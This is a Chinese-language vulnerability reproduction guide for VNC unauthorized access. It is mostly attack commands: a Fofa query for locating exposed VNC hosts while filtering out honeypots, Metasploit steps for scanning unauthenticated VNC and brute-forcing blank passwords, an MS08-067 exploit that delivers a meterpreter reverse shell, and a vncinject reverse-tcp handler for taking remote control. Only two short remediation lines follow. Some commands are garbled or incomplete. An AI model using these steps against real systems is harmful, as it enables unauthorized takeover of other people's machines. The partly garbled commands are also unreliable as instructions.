VNC 是虚拟网络控制台Virtual Network Console
的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
》》》漏洞复现《《《
msfconsole
set rhosts
set threads 100
run
步骤一:使用以下语句在Fofa上进行资产收集....
(port="5900") && (is_honeypot=false && is_fraud=false)
步骤二:可通过MSF中的模块进行检测与漏洞利用..
# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 192.168.168.200-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > 192.168.168.228
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 192.168.168.228
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.168.228
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 192.168.168.102
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.168.102
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit
步骤三:VNC链接验证...
vncviewer ipaddress
漏洞修复
1. 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
2. 以最小普通权限身份运行操作系统。